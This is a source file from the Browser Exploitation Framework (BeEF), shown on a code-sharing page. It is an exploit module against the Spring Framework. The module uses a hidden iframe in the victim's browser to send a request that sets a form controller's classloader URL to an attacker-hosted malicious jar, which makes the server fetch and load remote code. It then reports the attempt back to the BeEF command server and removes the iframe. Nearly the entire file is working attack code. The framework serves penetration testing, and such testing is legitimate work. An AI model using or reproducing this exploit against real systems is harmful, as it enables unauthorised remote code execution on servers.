Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/exploits/spring_framework_malicious_jar/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025 Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
9
jar_file = "<%= @jar_file %>";
10
form_controller = "<%= @form_controller %>";
11
12
uri = form_controller+"?class.classLoader.URLs[0]=jar:"+jar_file;
13
var spring_iframe = beef.dom.createInvisibleIframe();
14
spring_iframe.setAttribute('src', uri);
15
16
beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=exploit attempted");
17
18
cleanup = function() {
19
document.body.removeChild(spring_iframe);
20
}
21
setTimeout("cleanup()", 15000);
22
23
});
24
25